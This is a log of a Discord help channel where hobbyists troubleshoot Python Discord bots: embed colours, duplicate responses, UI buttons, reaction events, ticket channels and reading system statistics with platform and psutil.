#discord-bots

1 messages · Page 972 of 1

cosmic agate
#

im trying to help

flat solstice
#

as I've already said it saves my namespace, so instead of doingpy import discord embed=discord.Embed(colour=discord.Colour.teal()) I can just dopy from discord import Embed, Colour embed=Embed(colour=Colour.teal()

flat solstice
#

yeah it's a bit of a niche use case, if I wanted a random colour then I'd just do Colour.random() but I don't want a random one I want to iterate through them all so that I can send a embed with each colour so see what they look like (for example)

supple thorn
flat solstice
#

that's terrible practice, it clutters up your namespace with a load of stuff that you won't use

supple thorn
#

You can just put all of the different discord.Colour objects inside the list and iterate through that

#

Cause there probably isn't a way to iterate through discord.Colour but i could be wrong though

flat solstice
supple thorn
flat solstice
# cosmic agate lazy best way

Using import * in python programs is considered a bad habit because this way you are polluting your namespace, the import * statement imports all the functions and classes into your own namespace, which may clash with the functions you define or functions of other libraries that you import. Also it becomes very difficult at some times to say from which library does a particular function came from. The risk of overriding the variables/functions etc always persist with the import * practice.

  • Code Readability : It is always remains a mystery what is imported and cannot be found easily from which module a certain thing was imported that result in low code readability.
  • Polluting the namespace : import * imports all the functions and classes in your own namespace that may clash with the function and classes you define or function and classes of other libraries that you may import.
  • Concrete possibility of hiding bugs
  • Tools like pyflakes can’t be used to statically detect errors in the source code.
cosmic agate
#

leaving the problems

boreal ravine
#

you could.. ```py
colors = [getattr(discord.Colour, c) for c in [x for x in dir(discord.Colour) if not x.startswith(("_")) and x not in ["r", "g", "b", "value", "to_rgb", "from_rgb", "from_hsv"]]]

for color in colors:
...

hazy oxide
#

when i run a command, my bot send the command twice. can someone help?

#

i look over the code and nothing wrong

supple thorn
hazy oxide
#

wdym

slate swan
#

either find out where that other instance is or regenerate your bot token

boreal ravine
hazy oxide
#

so the problem is on_message event?

boreal ravine
#

no

hazy oxide
#

i googled it and it says process_commands

slate swan
#

your bot is running twice

hazy oxide
#

so if i stop it it still running?

slate swan
#

i usually just regenerate my bots token

hazy oxide
#

ouh ok imma try

#

everything is back to normal when i regenerate my token. thanks for helping

oblique adder
oblique adder
hazy oxide
hazy oxide
#

oh, my bad

hazy oxide
oblique adder
plain perch
#

One message removed from a suspended account.

#

One message removed from a suspended account.

oblique adder
plain perch
#

One message removed from a suspended account.

#

One message removed from a suspended account.

pliant ether
#

Hi, do you know how to detect the connection of a member on my server to react to his connection? (not on_member_join which reacts to the 1st connection / registration on the server)

spring flax
#

You mean @client.command() @plain perch

#

You made it an event

#

Wait, what do you want to do?

plain perch
spring flax
hushed galleon
oblique adder
plain perch
spring flax
#

Oh congratulations @hushed galleon

hushed galleon
#

ty

spring flax
#

and don't compare ints to strings

oblique adder
hushed galleon
#

self would be the View instance in your cancel_button method

plain perch
hushed galleon
#

so you'd write self.stop() in there

#

same thing that dino mentioned, just that its in the place you want it to be and not your select

maiden fable
#

Yellow color do be matching with yr pfp 👀

hushed galleon
#

also that user check in each of the buttons you do can be written as an interaction_check method

oblique adder
# hushed galleon so you'd write self.stop() in there
@nextcord.ui.button(
        label="❌", style=nextcord.ButtonStyle.red, custom_id="cancel", row=1
    )
    async def cancel_button(
        self, button: nextcord.ui.Button, interaction: nextcord.Interaction
    ):
        if interaction.user == self.user:
            await Users.button_event(self, button, interaction)
            self.stop()```
is this correct ? nothing happen
hushed galleon
#

did the buttons stop responding afterwards?

plain perch
oblique adder
plain perch
spring flax
#

Don't delete the channel

hushed galleon
spring flax
#

Read what I said above

spring flax
#

Get the member by this below

#

!d discord.Message.author

unkempt canyonBOT
hushed galleon
unkempt canyonBOT
plain perch
hushed galleon
flat solstice
#

can anyone see why this is trying to send a empty embed when I'm giving it text```py
embeds = []
for item in dir(Colour):
embed = Embed(title=f"{item}", description="filler")
meth = getattr(Colour, item)
if not isinstance(meth, classmethod):
continue

embed.colour = meth()
embeds.append(embed)

self.test_log = self.bot.get_channel(847066860377342002)
await self.test_log.send(embeds=embeds)```

quaint epoch
spring flax
quaint epoch
sharp snow
#

Hi, is there a way to rearrange the order of the categories in the help command page? Thanks

oblique adder
hushed galleon
#

thats mostly right but you dont need to construct completely new Views, you already have self as the current View

flat solstice
oblique adder
quaint epoch
#

ooh, a rhyme

flat solstice
# spring flax What's the full tb?
Ignoring exception in on_ready
Traceback (most recent call last):
  File "C:\Users\Teagan\Documents\Coding\Zupie\env\lib\site-packages\discord\client.py", line 375, in _run_event   
    await coro(*args, **kwargs)
  File "C:\Users\Teagan\Documents\Coding\Zupie\bot\cogs\events.py", line 71, in on_ready
    await self.test_log.send(embeds=embeds)
  File "C:\Users\Teagan\Documents\Coding\Zupie\env\lib\site-packages\discord\abc.py", line 1494, in send
    data = await state.http.send_message(channel.id, params=params)
  File "C:\Users\Teagan\Documents\Coding\Zupie\env\lib\site-packages\discord\http.py", line 501, in request        
    raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50006): Cannot send an empty message```
hushed galleon
spring flax
hushed galleon
flat solstice
# spring flax are you trying to send an embed of each color available?

yep, but instead of separate messages for each embed I'm using the embeds kwarg and passing it a list of embeds```py
embeds = []
for item in dir(Colour):
embed = Embed(title=f"{item}", description="filler")
meth = getattr(Colour, item)
if not isinstance(meth, classmethod):
continue

embed.colour = meth()
embeds.append(embed)

self.test_log = self.bot.get_channel(847066860377342002)
await self.test_log.send(embeds=embeds)```

slate swan
#

can anyone help me idk how to make my bot interact with all the channels on my server

#

ik how to specify one

vale wing
#

It interacts with all channels unless you messed up perms for some roles on your server

oblique adder
# hushed galleon reason being that the View class handles calling the correct function for you, s...
class ShopButton(nextcord.ui.View):
    def __init__(self, User: nextcord.Member):
        super().__init__(timeout=None)
        self.user = User
        self.add_item(ItemSelection(User))

    @nextcord.ui.button(
        label="🛒", style=nextcord.ButtonStyle.green, custom_id="buy", row=1
    )
    async def buy_button(
        self, button: nextcord.ui.Button, interaction: nextcord.Interaction
    ):
        if interaction.user == self.user:
            await Users.button_event(self, button, interaction)
            for children in self.children:
                children.disabled = True
            await interaction.message.edit(view=self(interaction.user))```

is this correct now ? I tried putting in my button_event function and nothing happen
vale wing
#

Or if you mean do operations with all channels

#

!d discord.Guild.channels

unkempt canyonBOT
slate swan
#

it wont react on my commands when i test it

vale wing
#

Issue with bot's permissions on the server

slate swan
#

only if a specify a channel

#

it will work

vale wing
#

What

hushed galleon
vale wing
#

Does it take it as an argument or smth

slate swan
#

it cant see the commands in other channels

oblique adder
vale wing
#

Oh that

#

Make sure bot has perms to read and send messages in that channel

hushed galleon
oblique adder
#

thank you so much

boreal osprey
#

i am trying to check if a category exists in my help command, but it isn't sending my message

@bot.command()
@commands.is_owner()
async def help(ctx):
    e=discord.Embed(title = "Help commands", description = "Help categories", color = discord.Colour.random())
    e.add_field(name="fun", value="Type in fun to see the fun commands", inline = False)
    e.add_field(name="moderator", value="Type in moderator to see moderator commands", inline = False)
    e.add_field(name="server", value="Type in server to see the command specific commands", inline = False)
    e.add_field(name="utility", value="Type in utility to see utility commands", inline = False)
    await ctx.send(embed=e)

    def check(msg):
        return msg.author == ctx.author and msg.channel == ctx.channel
        msg.content.lower() in ["fun", "moderator", "server", "utility"]
    try:
        msg = await bot.wait_for("message", check=check, timeout=30)
    except asyncio.TimeoutError:
        await ctx.send("you did not reply in time (30 seconds). type in !!help again to show up help options")

    try:

        if msg.content.lower() == "fun":
            e2=discord.Embed(title="fun commands", color = discord.Colour.random())
            e2.add_field(name="snipe", value="snipes deleted messages", inline = False)
            e2.add_field(name="hack", value="This command will make it look like you are hacking someone as it was a little prank", inline = False)
            await ctx.send(embed=e2)

        if msg.content.lower() == "moderator":
            e3=discord.Embed(title="Moderator commands", color=discord.Colour.random())
            e3.add_field(name="nuke", value="This command will delete a specific channel you mentioned and recreate it but with no messages", inline=False)
            await ctx.send(embed=e3)
    

    except:
        await ctx.send("this category does not exist")
vale wing
#

Oh hek

#

Was wondering if you could display similar error message but with custom converters

crimson yarrow
#

how can i make a bot type something when a user reacts to one of its messages with a certain emoji?

sick birch
#

Any message? Or a specific message?

#

Also, should it always be active?

#

Or should it only listen for a reaction after the user runs a command or does something?

crimson yarrow
#

it should be with any message and it's always active

#

sorry if i didn't specify this earlier

slate swan
#

how to get guild owner’s id

cold sonnet
#

shouldn't be that hard

#

was this the only message that was sent

#

I wrote a paragraph

sick birch
cold sonnet
#

make an on_raw_reaction_add event, first line, check if the author of the message reacted to is your bot's user

sick birch
#

Or the raw event too

cold sonnet
#

!d discord.on_reaction_add

unkempt canyonBOT
#

discord.on_reaction_add(reaction, user)```
Called when a message has a reaction added to it. Similar to [`on_message_edit()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_message_edit "discord.on_message_edit"), if the message is not found in the internal message cache, then this event will not be called. Consider using [`on_raw_reaction_add()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_raw_reaction_add "discord.on_raw_reaction_add") instead.

Note

To get the [`Message`](https://discordpy.readthedocs.io/en/master/api.html#discord.Message "discord.Message") being reacted, access it via [`Reaction.message`](https://discordpy.readthedocs.io/en/master/api.html#discord.Reaction.message "discord.Reaction.message").

This requires [`Intents.reactions`](https://discordpy.readthedocs.io/en/master/api.html#discord.Intents.reactions "discord.Intents.reactions") to be enabled.

Note

This doesn’t require [`Intents.members`](https://discordpy.readthedocs.io/en/master/api.html#discord.Intents.members "discord.Intents.members") within a guild context, but due to Discord not providing updated user information in a direct message it’s required for direct messages to receive this event. Consider using [`on_raw_reaction_add()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_raw_reaction_add "discord.on_raw_reaction_add") if you need this and do not otherwise want to enable the members intent.
cold sonnet
#

reaction add has to have every message in cache

#

which you are not gonna do

#

so yeah

crimson yarrow
#

thank you i'm going to try this

slate swan
cold sonnet
#

!d discord.Guild.owner

unkempt canyonBOT
cold sonnet
slate swan
#

k

#

if you dont have member intents go for guild.owner_id

boreal ravine
boreal osprey
hasty stump
#

can anyone help

#

i wanted to execute the yt apply command with reaction

#

its cog folder btw

hasty stump
#

its a command

#

ytapply

slate swan
#

idk if its a Guild method or the TextChannel, need to check

maiden fable
#

!d discord.TextChannel.fetch_message @hasty stump

unkempt canyonBOT
#

await fetch_message(id, /)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Retrieves a single [`Message`](https://discordpy.readthedocs.io/en/master/api.html#discord.Message "discord.Message") from the destination.
slate swan
maiden fable
#

That too

#

!d discord.TextChannel.get_partial_message

unkempt canyonBOT
#

get_partial_message(message_id, /)```
Creates a [`PartialMessage`](https://discordpy.readthedocs.io/en/master/api.html#discord.PartialMessage "discord.PartialMessage") from the message ID.

This is useful if you want to work with a message and only have its ID without doing an unnecessary API call.

New in version 1.6.

Changed in version 2.0: `message_id` parameter is now positional-only.
little ivy
#

Hi! Does anyone have an idea how to make a voice channel wich updates automaticcaly with membercount? I already have the function for member part, but not to refresh auto

unkempt canyonBOT
#

discord.ext.tasks.loop(*, seconds=..., minutes=..., hours=..., time=..., count=None, reconnect=True)```
A decorator that schedules a task in the background for you with optional reconnect logic. The decorator returns a [`Loop`](https://discordpy.readthedocs.io/en/master/ext/tasks/index.html#discord.ext.tasks.Loop "discord.ext.tasks.Loop").
hasty stump
slate swan
boreal osprey
slate swan
#

k ig

slate swan
heady sluice
formal basin
formal basin
formal basin
feral lichen
#

how would i get this to find the channel name of the new made ticket and send "ticket opened"

#
@bot.command()
async def ticket(ctx):
    guild = ctx.guild
    channel = discord.utils.get(ctx.guild.channels, name=f'{ctx.author}')
    role = discord.utils.get(guild.roles, name="Ticket Banned")
    if role in ctx.author.roles:
        await ctx.send("you cannot make tickets!")
        return
    await guild.create_text_channel(f'{ctx.author}')
    await ctx.send("ticket made!")
    await channel.send('ticket opened!')
maiden fable
#

No bot does that. That way is stupid

blissful sparrow
#

Im trying to make a statistics command, anyone know how to get the very specific linux distro? Ive tried platform.platform() but its kinda meh

maiden fable
#

That is the most common way

blissful sparrow
#

No way to get it to say Ubuntu 20.04 LTS Focal blah blah blah?

maiden fable
#

lemme see

#

!d platform.platform @blissful sparrow try using the aliased arg

unkempt canyonBOT
#

platform.platform(aliased=0, terse=0)```
Returns a single string identifying the underlying platform with as much useful information as possible.

The output is intended to be *human readable* rather than machine parseable. It may look different on different platforms and this is intended.

If *aliased* is true, the function will use aliases for various platforms that report system names which differ from their common names, for example SunOS will be reported as Solaris. The [`system_alias()`](https://docs.python.org/3/library/platform.html#platform.system_alias "platform.system_alias") function is used to implement this.

Setting *terse* to true causes the function to return only the absolute minimum information needed to identify the platform.
slate swan
#

Hello, i’m using MySQL to create a database and i’m just wondering whether this would be the way to send the database, with all the information inside of it:

Tabel_1 = [ 
  {"userid": user.id, "channelid": channel.id}, # first piece of info / aka first column
  {"userid": user.id, "channelid": channel.id}, # second piece of info
  # and so on...
]
blissful sparrow
slate swan
blissful sparrow
#

guess it dont have the actual name lol

#

may have to get it to parse it from neofetch hmm

maiden fable
#

Why not just use Linux?

#

or just use psutil? @blissful sparrow

blissful sparrow
#

Im very OCD lol I like specifics

maiden fable
#

Oh understandable haha

maiden fable
unkempt canyonBOT
maiden fable
#

Prolly use this?

#
$ python
>>> import distro
>>> distro.linux_distribution(full_distribution_name=False)
('centos', '7.1.1503', 'Core')
blissful sparrow
#

i was looking at that lol

sick birch
#

No native way to add cooldowns to buttons, you'll have to do it yourself

#

Store the last time they clicked in a database, next time they click, get the timedelta between now and last time they clicked (from the database), check if it's > 10 minutes. If so, do something, if else, do nothing

blissful sparrow
maiden fable
#

Cool!

sick birch
unkempt canyonBOT
#

@sick birch :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'distro'
sick birch
#

aw

maiden fable
#

Its a 3rd party lib

sick birch
#

Could you do it with os?

blissful sparrow
#

I was hoping to make it cross platform

sick birch
#

I'm pretty that's an stdlib

blissful sparrow
#

using the os module

maiden fable
#

Since os means operating system and he wants to find its name

sick birch
#

You use os.system for running terminal commands right?

maiden fable
#

Yea

#

But u cannot get the output

#

!d asyncio.create_subprocess_shell is better and non blocking

unkempt canyonBOT
#

coroutine asyncio.create_subprocess_shell(cmd, stdin=None, stdout=None, stderr=None, limit=None, **kwds)```
Run the *cmd* shell command.

The *limit* argument sets the buffer limit for [`StreamReader`](https://docs.python.org/3/library/asyncio-stream.html#asyncio.StreamReader "asyncio.StreamReader") wrappers for `Process.stdout` and `Process.stderr` (if [`subprocess.PIPE`](https://docs.python.org/3/library/subprocess.html#subprocess.PIPE "subprocess.PIPE") is passed to *stdout* and *stderr* arguments).

Return a [`Process`](https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.asyncio.subprocess.Process "asyncio.asyncio.subprocess.Process") instance.

See the documentation of [`loop.subprocess_shell()`](https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.loop.subprocess_shell "asyncio.loop.subprocess_shell") for other parameters.

Important

It is the application’s responsibility to ensure that all whitespace and special characters are quoted appropriately to avoid [shell injection](https://en.wikipedia.org/wiki/Shell_injection#Shell_injection) vulnerabilities. The [`shlex.quote()`](https://docs.python.org/3/library/shlex.html#shlex.quote "shlex.quote") function can be used to properly escape whitespace and special shell characters in strings that are going to be used to construct shell commands...
dull terrace
#

The first bot I made is up to 4.6 star rating and 700 servers froggy_chill

sick birch
unkempt canyonBOT
#

@sick birch :warning: Your eval job has completed with return code 0.

[No output]
maiden fable
#

Haha

maiden fable
sick birch
#

im going to bot commands lol

maiden fable
#

won't work @sick birch

sick birch
#

sad

slate swan
#

How to make music bot with Spotify?

sick birch
#

would've been funny

slate swan
#

Who know?

blissful sparrow
#

!e

import os
print(os.uname())
unkempt canyonBOT
#

@blissful sparrow :white_check_mark: Your eval job has completed with return code 0.

posix.uname_result(sysname='Linux', nodename='snekbox', release='5.10.0-13-cloud-amd64', version='#1 SMP Debian 5.10.106-1 (2022-03-17)', machine='x86_64')
sick birch
blissful sparrow
#

Ooh

slate swan
dull terrace
maiden fable
#

Lucky

feral lichen
#

how would i get this to find the channel name of the new made ticket and send "ticket opened"

@bot.command()
async def ticket(ctx):
    guild = ctx.guild
    channel = discord.utils.get(ctx.guild.channels, name=f'{ctx.author}')
    role = discord.utils.get(guild.roles, name="Ticket Banned")
    if role in ctx.author.roles:
        await ctx.send("you cannot make tickets!")
        return
    await guild.create_text_channel(f'{ctx.author}')
    await ctx.send("ticket made!")
    await channel.send('ticket opened!')
blissful sparrow
#

or output the version

slate swan
#

Are there other ways to broadcast music?

maiden fable
blissful sparrow
maiden fable
blissful sparrow
#

my box is ubuntu anyways

#

idk if itll work on ptero tho

slate swan
#

Ok,i try

maiden fable
#

What the fuck

feral lichen
#

bro can someone answer my thing please?

maiden fable
#

Hm?

dull terrace
feral lichen
blissful sparrow
#

wtf is smp pve kek

dull terrace
#

Idk, I'm still half asleep but if you're sending a message you'll need the channel object

maiden fable
#

Oh it works. Cool

maiden fable
#

Player Vs Enemy

blissful sparrow
dull terrace
#

And if messages aren't sending it's probably because you don't have the channel 7739monkathink

blissful sparrow
#

!e

import os
os = os.uname()[3]
print(os)
feral lichen
maiden fable
#

should work

blissful sparrow
#

I mean my method worked too lol

maiden fable
#

Oh it did?

blissful sparrow
#

!e

import os
os = os.uname()[0][3]
print(os)
unkempt canyonBOT
#

@blissful sparrow :white_check_mark: Your eval job has completed with return code 0.

u
maiden fable
#

Thought it didn't that is why the output isn't there lol

dull terrace
blissful sparrow
#

i deleted it

#

I wondered what the bin reaction did

maiden fable
#

Lmao

blissful sparrow
#

!e

import os
os = os.name()[3]
print (os)
unkempt canyonBOT
#

@blissful sparrow :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | TypeError: 'str' object is not callable
maiden fable
#

Lol

blissful sparrow
#

maybe it dont like the var name

#

!e

import os
os_name = os.name()[3]
print (os_name)
unkempt canyonBOT
#

@blissful sparrow :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | TypeError: 'str' object is not callable
blissful sparrow
#

lol what

#

the other way worked

dull terrace
#

!e

import defined```
unkempt canyonBOT
#

@dull terrace :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'defined'
blissful sparrow
#

!e

import os
os = os.uname()[3]
print(os)
unkempt canyonBOT
#

@blissful sparrow :white_check_mark: Your eval job has completed with return code 0.

#1 SMP Debian 5.10.106-1 (2022-03-17)
dull terrace
blissful sparrow
#

Anyone know how to get processor info doe

#

it dont like platform.processor

dull terrace
#

!e

defined = not_defined```
unkempt canyonBOT
#

@dull terrace :x: Your eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | NameError: name 'not_defined' is not defined
sage otter
blissful sparrow
#

yes

sage otter
#

That’s not really a question for here. But look into psutil

blissful sparrow
#

i did that too it gives funny numbers

#

i think

sage otter
#

It doesn’t

#

Look into the documentation

#

It tells you the meaning of the number and the unit it’s given in

#

For example I think psutil gives memory information in bytes.

placid skiff
#

Bruh what the hell of hosting do you suggested to me my domain doesn't even work D_D

sage otter
#

So if you wanted to get it in gigabytes instead you’d divide the number it gives you by the amount of bytes it takes to make up a gigabyte

blissful sparrow
#

I did that for the memory

#

its actually windows 11 lol

sick birch
sage otter
sick birch
#

Does it work inside docker 👀

sage otter
#

Yea

#

It detects the host system

#

Not the actual docker container statistics

sick birch
#

How's it do that? I was under the impression docker was fully isolated

#

Unless docker passes through host info as well

sage otter
#

Idk

#

I may be wrong then.

sick birch
#

Well os.uname() seems to be getting the containerized instance of snekbox

#
import os
print(os.uname())
blissful sparrow
#

Breh

import discord, os, psutil, time, platform
from discord.ext import commands
from psutil._common import bytes2human



load1, load5, load15 = psutil.getloadavg()
cpu_usage = (load15/os.cpu_count()) * 100
memory_used = psutil.virtual_memory().used
memory_available = psutil.virtual_memory().available


def minutes_elapsed():
    return ((time.time() - psutil.boot_time()) / 60)




class Stats(commands.Cog):
    
    def __init__(self, bot):
        self.bot = bot

    
    @commands.command(aliases=['stats'])
    async def statistics(self,ctx):

        embed = discord.Embed(title='Bot/System Statistics' , color=0x000000)
        embed.add_field(name='CPU', value=f'{platform.processor()}' , inline=True)
        embed.add_field(name='CPU Usage', value=f'{cpu_usage}%', inline=True)
        embed.add_field(name='CPU Average', value=f'{load1} \n {load5} \n {load15}')
        embed.add_field(name='Server Uptime', value=f'{round(minutes_elapsed())} minutes', inline=True)
        embed.add_field(name='Memory Used' , value=f'{bytes2human(memory_used)}', inline=True)
        embed.add_field(name='Memory Available', value=f'{bytes2human(memory_available)}', inline=True)
        embed.add_field(name='Operating System' , value=f'{platform.platform()}', inline=True)
        await ctx.reply(embed=embed)


async def setup(bot):
    await bot.add_cog(Stats(bot))

this works on my windows laptop but not my ubuntu server

sick birch
#

That's why we dockerize things

#

So code will work across all platforms

blissful sparrow
#

it is in a docker

#

its in an isolated container

#

on pterodactyl

sick birch
#

You're running an ubuntu docker?

sick birch
#

Guess ubuntu doesn't like you getting system info

blissful sparrow
#

I think it uses i think debian slim in the container

#

actually idk what its using lol

#

looks like that

muted quarry
#
    await ctx.send("", components = [
        Select(
            placeholder = "Select a category...",
            options = [
                SelectOption(label="📊 Info", value="Asyncdef"),
                SelectOption(label="🏷️ Miscellaneous", value="Yoooo"),
                SelectOption(label="🚀Fun", value="G"),
                SelectOption(label="🛠️ Moderation", value="Wassup"),
                SelectOption(label="👨‍💼 Server-Management", value="Yo")
                
            ]
        )
    ])

    while True:
        try:
            select_interaction = await client.wait_for("select_option")
            await select_interaction.send(content = f"{select_interaction.values[0]} selected!", ephemeral = False)
        except:
            await ctx.send("something")```

This is my code for the drop down menu
It works fine but **whenever i choose an option from the drop down it loads and always says interaction failed**
Please help
sick birch
#

A lot of them do, I know there's one for nodejs

sick birch
muted quarry
#

and select menu stuff

#

I didnt use anything like nextcord or smthing

sick birch
#

Can I see all of your imports?

echo wasp
#

Hola how are you doing today? I have a question on free bot hosting where and not replit

muted quarry
muted quarry
#

@sick birch These are the imports i did for select menu

#

Didnt download anything

echo wasp
muted quarry
sick birch
echo wasp
sick birch
#

discord.py has built in dropdown menus there's no need to use bad third party libraries like discord_components

muted quarry
royal meteor
#

How to get the guild ID of every server my bot is in and append it to a list?

maiden fable
#

!d discord.Client.guilds

unkempt canyonBOT
maiden fable
unkempt canyonBOT
sick birch
maiden fable
#

ids = [x.id for x in bot.guilds]

royal meteor
muted quarry
slate swan
#

!d discord.ui.Select

unkempt canyonBOT
#

class discord.ui.Select(*, custom_id=..., placeholder=None, min_values=1, max_values=1, options=..., disabled=False, row=None)```
Represents a UI select menu.

This is usually represented as a drop down menu.

In order to get the selected items that the user has chosen, use [`Select.values`](https://discordpy.readthedocs.io/en/master/interactions/api.html#discord.ui.Select.values "discord.ui.Select.values").

New in version 2.0.
slate swan
#

this is the class, there are multiple ways of using it

sick birch
slate swan
#

oh nvm

muted quarry
#

Let me have a look

#

@sick birch Oh you used the class and ui.select right

royal meteor
#

How to send an embed using nextcord Interaction?

#

Is it the same interaction.response.send_message(embed = embed)?

muted quarry
#

do I have to import ui?

maiden fable
#

update dpy

#

pip install git+https://github.com/Rapptz/discord.py

hasty stump
#

how to auto remove reaction when user react once

hasty stump
maiden fable
unkempt canyonBOT
#

await remove(user)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Remove the reaction by the provided [`User`](https://discordpy.readthedocs.io/en/master/api.html#discord.User "discord.User") from the message.

If the reaction is not your own (i.e. `user` parameter is not you) then the [`manage_messages`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions.manage_messages "discord.Permissions.manage_messages") permission is needed.

The `user` parameter must represent a user or member and meet the [`abc.Snowflake`](https://discordpy.readthedocs.io/en/master/api.html#discord.abc.Snowflake "discord.abc.Snowflake") abc.
hasty stump
maiden fable
#

Hmmmm

#

Idrk bout that ngl sorry

hasty stump
#

when they will react, it will execute and remove the reaction

placid skiff
heady sluice
#

!d discord.RawReactionActionEvent

unkempt canyonBOT
#

class discord.RawReactionActionEvent```
Represents the payload for a [`on_raw_reaction_add()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_raw_reaction_add "discord.on_raw_reaction_add") or [`on_raw_reaction_remove()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_raw_reaction_remove "discord.on_raw_reaction_remove") event.
placid skiff
#

i can access the website through the hosting domain but i can't access to it by my domain

#

WTF DOES THIS MEAN?

maiden fable
#

Prolly wrong config

heady sluice
#

bro they really gotta buff payload

#

buff rawreactionactionevent!

slate swan
maiden fable
heady sluice
#

actually, giving more data on a datatype like this

placid skiff
heady sluice
#

that would suck

maiden fable
#

Yea

slate swan
maiden fable
#

Ofc

slate swan
#

How do we calculate how long a function took to respond

placid skiff
maiden fable
#

Did u try setting redirection rules? Idk

placid skiff
#

bruh technically an hosting should do it automatically

#

man it would really be easier a VPS D_D

maiden fable
#

I said so but uhhhhhh

placid skiff
#

hahahaha i should've trusted you

#

OH i found the issue

#

the ||fucking|| SSL certificate

slate swan
placid skiff
#

man due to my logs i started working on it at 03:50PM

slate swan
slate swan
#

you would need to use a fork

#

oh what should i use

#

Hi I have a problem. What I'm trying to do is to get my customers' discord id from my website (set in my database) and then make my discord bot give them a role on my server. Has anyone got an idea how I could achieve it?

slate swan
maiden fable
slate swan
#

oh alright, i stand corrected then

#

I've only made a couple bots so i wasn't too sure

final iron
final iron
final iron
slate swan
#

bc every time i import it it doesnt work

#

did you install it

final iron
slate swan
#

terminal

slate swan
final iron
slate swan
#

discord.puy

#

py

final iron
#

How did you install it?

slate swan
slate swan
#

when i type in message it doesnt autocomplete

#

it just imports another module

#

like mesages import

#

from email import messages

#

i dont want that

#

i just want the auto complete for my vscode

maiden fable
#

Ik VSC is weird for that

slate swan
#

oh

maiden fable
#

Happens with me too, I don't think u can do anything

slate swan
#

oh

unique stone
#

I want to put a function in the bot's command, in which the bot waits, either "end" is the end of the command, or two numbers (this function should work until the user enters "end")
How to do it?

final iron
#

Use pycharm

#

🗿

slate swan
#

i have does the same thing

maiden fable
#

@slate swan Tho u should ask in #editors-ides for a clearer answer

slate swan
#

!d discord.ext.commands.Bot.wait_for

unkempt canyonBOT
#

wait_for(event, /, *, check=None, timeout=None)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).

Waits for a WebSocket event to be dispatched.

This could be used to wait for a user to reply to a message, or to react to a message, or to edit a message in a self-contained way.

The `timeout` parameter is passed onto [`asyncio.wait_for()`](https://docs.python.org/3/library/asyncio-task.html#asyncio.wait_for "(in Python v3.10)"). By default, it does not timeout. Note that this does propagate the [`asyncio.TimeoutError`](https://docs.python.org/3/library/asyncio-exceptions.html#asyncio.TimeoutError "(in Python v3.10)") for you in case of timeout and is provided for ease of use.

In case the event returns multiple arguments, a [`tuple`](https://docs.python.org/3/library/stdtypes.html#tuple "(in Python v3.10)") containing those arguments is returned instead. Please check the [documentation](https://discordpy.readthedocs.io/en/master/api.html#discord-api-events) for a list of events and their parameters.

This function returns the **first event that meets the requirements**...
unique stone
#

I was thinking how to solve the problem

slate swan
#

just have a wait_for

#

they do the same thing

slate swan
#

they wait for a gateway event

lucid bison
#

how can i check for a certain user role in a command? using hikari btw

slate swan
#

!d discord.ext.commands.has_role

unkempt canyonBOT
#

@discord.ext.commands.has_role(item)```
A [`check()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.check "discord.ext.commands.check") that is added that checks if the member invoking the command has the role specified via the name or ID specified.

If a string is specified, you must give the exact name of the role, including caps and spelling.

If an integer is specified, you must give the exact snowflake ID of the role.

If the message is invoked in a private message context then the check will return `False`.

This check raises one of two special exceptions, [`MissingRole`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.MissingRole "discord.ext.commands.MissingRole") if the user is missing a role, or [`NoPrivateMessage`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.NoPrivateMessage "discord.ext.commands.NoPrivateMessage") if it is used in a private message. Both inherit from [`CheckFailure`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.CheckFailure "discord.ext.commands.CheckFailure").

Changed in version 1.1: Raise [`MissingRole`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.MissingRole "discord.ext.commands.MissingRole") or [`NoPrivateMessage`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.NoPrivateMessage "discord.ext.commands.NoPrivateMessage") instead of generic [`CheckFailure`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.CheckFailure "discord.ext.commands.CheckFailure")...
sick birch
lucid bison
slate swan
#

ah well idk

hasty stump
unique stone
blissful sparrow
#

https://caught-lackin-in-8k-by-cyberghost.cf/FSF3cubB

def processor_name():
    if platform.system() == "Windows":
        return platform.processor()
    elif platform.system() == "Darwin":
        os.environ['PATH'] = os.environ['PATH'] + os.pathsep + '/usr/sbin'
        command ="sysctl -n machdep.cpu.brand_string"
        return subprocess.check_output(command).strip()
    elif platform.system() == "Linux":
        command = "cat /proc/cpuinfo"
        all_info = subprocess.check_output(command, shell=True).strip()
        for line in all_info.split("\n"):
            if "model name" in line:
                return re.sub( ".*model name.*:", "", line,1)
    return ""

embed.add_field(name='CPU', value=f'{processor_name()}' , inline=True)
You wasted 413.83 KB of space!

Caught lacking on Apr 12, 2022, 5:17 PM

#

help plss

blissful sparrow
#

oops forgot imports

#

!e

import platform, os , subprocess, re
def processor_name():
    if platform.system() == "Windows":
        return platform.processor()
    elif platform.system() == "Darwin":
        os.environ['PATH'] = os.environ['PATH'] + os.pathsep + '/usr/sbin'
